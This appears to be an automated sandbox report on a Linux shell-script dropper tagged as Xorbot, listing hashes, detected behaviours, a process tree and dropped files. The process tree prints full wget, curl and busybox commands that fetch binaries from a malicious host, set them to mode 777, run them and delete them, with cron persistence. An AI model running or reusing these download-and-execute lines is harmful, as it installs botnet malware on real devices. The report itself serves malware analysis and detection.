Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    12/12/2024, 03:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    49d851609afcaa4a18dcfdaf75afdb0c

  • SHA1

    630594c3464e68659749c3d3d51a8bfb758fe175

  • SHA256

    51ecef74109e898cb10f28ea084e9da7c19d0d5ce0c881d71126b872addaafc1

  • SHA512

    562a5adbb61e9a39f3bdef9ee37c7d2bec20a3b43ec73589c6a97662bc34cd2c060c3113c89303b76045534a35909f8004aca0eb519e4c287476bc7edd763e1b

  • SSDEEP

    96:Y7L7n7wuOdagcjYrHALyKa6E8EAEcD7+g8gAgYsidMLJ5LtLJhsj/i9Sz+uvLO3I:ide59cD7ZzLBxSXSxxDlSS59cD7/Vr

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1518) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:685
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:688
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:691
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:709
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/chmod
          chmod 777 WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • File and Directory Permissions Modification
          PID:718
        • /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          ./WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • Executes dropped EXE
          PID:719
        • /bin/rm
          rm WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
            PID:721
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:722
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:723
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:725
          • /bin/chmod
            chmod 777 CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            ./CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • Executes dropped EXE
            PID:727
          • /bin/rm
            rm CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
              PID:729
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:730
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /bin/chmod
              chmod 777 LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              ./LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:767
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:770
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:771
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:775
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:777
                  • /bin/rm
                    rm LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
                    2⤵
                      PID:786
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                      2⤵
                        PID:790
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                        2⤵
                          PID:791
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                          2⤵
                          • Writes file to tmp directory
                          PID:792
                        • /bin/chmod
                          chmod 777 ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                          2⤵
                          • File and Directory Permissions Modification
                          PID:793
                        • /tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                          ./ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                          2⤵
                          • Executes dropped EXE
                          PID:794
                        • /bin/rm
                          rm ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                          2⤵
                            PID:796
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                            • System Network Configuration Discovery
                            PID:797
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                            • System Network Configuration Discovery
                            PID:798
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:799
                          • /bin/chmod
                            chmod 777 RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                            • File and Directory Permissions Modification
                            PID:800
                          • /tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            ./RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                            • Executes dropped EXE
                            PID:801
                          • /bin/rm
                            rm RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                            2⤵
                              PID:802
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                              • System Network Configuration Discovery
                              PID:803
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                              • System Network Configuration Discovery
                              PID:845
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:885
                            • /bin/chmod
                              chmod 777 UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                              • File and Directory Permissions Modification
                              PID:886
                            • /tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              ./UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                              • Executes dropped EXE
                              PID:887
                            • /bin/rm
                              rm UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                              2⤵
                                PID:889
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                • System Network Configuration Discovery
                                PID:890
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                • System Network Configuration Discovery
                                PID:891
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:892
                              • /bin/chmod
                                chmod 777 A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                • File and Directory Permissions Modification
                                PID:893
                              • /tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                ./A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                • Executes dropped EXE
                                PID:894
                              • /bin/rm
                                rm A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                                2⤵
                                  PID:896
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:898
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/ribbVqEykECj6I8K7XkZamhenylvmOXpkH
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:902

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /var/spool/cron/crontabs/tmp.jmleEn

                                Filesize

                                210B

                                MD5

                                226ef8a6fdd50256e4a5b66ff91f844b

                                SHA1

                                624d62d4954f389d384c53ffad44ad38526bae65

                                SHA256

                                07bf2734c9c60bc97841e172ecda4860ed7518e9903cc16f8b905d1ed23e8773

                                SHA512

                                f7592b099860fa9b9655c977d3cade3206271f5c6fcbfea93a26a88edf4f396a2272d4f329ef7605ad8adc17a414037cbc6c0adccdd8edc941abcc0bc5293192